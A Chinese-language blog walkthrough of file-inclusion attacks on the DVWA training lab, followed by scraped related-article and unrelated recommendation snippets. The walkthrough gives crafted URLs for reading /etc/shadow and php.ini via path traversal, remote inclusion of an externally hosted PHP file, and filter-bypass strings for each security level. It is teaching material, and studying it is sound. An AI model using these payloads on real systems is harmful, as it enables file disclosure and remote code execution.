DVWA之文件包含(File inclusion)
daFile inclusion的意思就是文件包含,当服务器开启了allow_url_include选项时,就可以通过PHP的某些特征函数
include,require和include_once,require_once,,,,利用URL去动态包含文件,此时,如果没有文件的内容和来源进行过滤和判断,
就会导致任意文件读取或者任意命令执行。
文件包含漏洞可以分为本地文件包含和远程文件包含。
远程文件包含漏洞需要开启服务器的allow_url_fopen选项。

LOW
1.本地文件包含
构造URL
www.dvwa.com/vulnerabilities/fi/?page=/etc/shadow

显示存在的文件,说明目标不是Linux操作系统。
但是暴露了网站的绝对路径D:\web\dvwa\vulnerabilities\fi\index.php的信息。
构造一个读取绝对路径的URL
www.dvwa.com/vulnerabilities/fi/?page=D:/web/deva/php.ini
www.dvwa.com/vulnerabilities/fi/?page=../../../../../../../../../../../web/dvwa/php.ini

2.利用该漏洞包含一个远程的PHP文件
我在www.a.com的上传一个a.php
<?php
phpinfo();
?>

我在目标网站包含这个远程的PHP文件
www.dvwa.com/vulnerabilities/fi/?page=www.a.com/a.php

目标网站成功执行了我们包含的PHP文件
可以包含文本文件

可以对链接进行伪装,转成RUL

Medium
在这个级别中,服务端使用str_replace对收到的参数进行了过滤操作。过滤了http,https,“../”,‘..\’等字符
1.本地文件包含可以绕过
http://www.dvwa.com/vulnerabilities/fi/?page=....//....//....//....//....//....//....//....//....//web/dvwa/php.ini
通过这种方式绕过过滤。
2.远程文件包含
http://www.dvwa.com/vulnerabilities/fi/?page=httphttp://://www.a.com/a.txt

High
在此级别中,服务对参数进行了筛选,要求参数必须是file开头的文件才会包含
利用Windows的file协议进行包含
http://www.dvwa.com/vulnerabilities/fi/?page=file:///../../../../../../../../../../../web/dvwa/php.ini

impossible
impossible级别对参数彻底进行了限制
DVWA之文件包含(File inclusion)的更多相关文章
- DVWA 黑客攻防演练(四)文件包含 File Inclusion
文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件等.下面一起来看看 DVWA 中的文件包 ...
- DVWA全级别之File Inclusion(文件包含)
File Inclusion File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),req ...
- DVWA各级文件包含漏洞
File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...
- DVWA之文件包含(一)
文件包含又可以是本地文件包含或远程文件包含. 本地文件包含:文件存在本地目录 远程文件包含:文件共享或存在网络上,需要访问 <?php // The page we wish to displa ...
- DVWA(八):File Inclusion 全等级文件包含
文件包含: 开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含. 文件包含漏洞: 开发人员为了使代码更灵活,会将被包含的文件设置为变量, ...
- Web安全测试学习笔记 - 文件包含
基础知识 文件包含指的是一个文件动态引用另一个文件,这是一种非常灵活的动态调用方式.有点类似Java引用jar包,但区别在于jar包引用后一般是固定不变的(一般不能动态改变所引用的jar包名称),而文 ...
- DVWA之File Inclusion(文件包含)
目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...
- DVWA靶场之File Inclusion(文件包含)通关
文件包含,未经过严格过滤,将一些恶意构造带入了包含函数,可以使用一些包含函数来包含一些其他乱七八糟的东西,要么导致任意文件读取,要么命令执行 文件包含包括远程文件包含(RFI)和本地文件包含(LFI) ...
- 【DVWA】File Inclusion(文件包含漏洞)通关教程
日期:2019-07-28 20:58:29 更新: 作者:Bay0net 介绍: 0x01. 漏洞介绍 文件包含时,不管包含的文件是什么类型,都会优先尝试当作 php 文件执行. 如果文件内容有 p ...
随机推荐
- android 怎么实现跑马灯效果
自定义控件 FocusedTextView, 使android系统误以为它拥有焦点 public class FocusedTextView extends TextView { public Foc ...
- ASP.NET Web应用程序修改页面Inherits示例
<@page 中 Codebehind .Inherits 和aspx的关系 CodeBehind 指定包含与页关联的类的已编译文件的名称.该属性不能在运行时使用. 说明: 提供此属性是为了与以 ...
- 谈谈Spring Ioc的理解
原文:http://blog.csdn.net/qq_22654611/article/details/52606960 学了几天Ioc了,但是对它的理解还是模模糊糊,看了这篇博客感觉对Ioc有了更深 ...
- mysql :库操作
一 系统数据库 information_schema:虚拟库,不占用磁盘空间,存储的是数据库启动后的一些参数,如用户表信息,列信息, 权限信息, 字符信息等. performance_schema:M ...
- 支持lua的框架和ide
1.Kony http://mobilehub.io/products/kony 2.CryEngine http://mobilehub.io/products/cryengine 3.Dragon ...
- SqlServer自定义数据类型
定义:用户自己设计并实现的数据类型就称为用户自定义数据类型,即使这些数据类型基于系统数据类型. 创建用户自定义数据类型时,必须提供三个数: 数据类型的名称 所基于的系统数据类型 数据类型的可空性(是否 ...
- Fitnesse的一个简单实例
Fixture 代码 package eg; import org.joda.time.DateTime; public class JodaTime { int year; public Strin ...
- E20181012-hm
expiration n. 呼气; 截止; 满期;
- iOS开发 - CocoaPods的常见使用方式
1 CocoaPods 的安装 1.1 作用: 帮助管理和维护第三方框架,快速的搜索到第三方框架, 然后自动集成到工程里面来, 并编译成一个libPod.a的静态库给我们项目用 1.2 理解: 1. ...
- 如何用dos命令结束进程
ntsd 是一条dos命令,功能是用于结束一些常规下结束不了的死进程. 用法为打开cmd 后输入以下命令就可以结束进程: 方法一:利用进程的PID结束进程 命令格式:ntsd -c q -p pid ...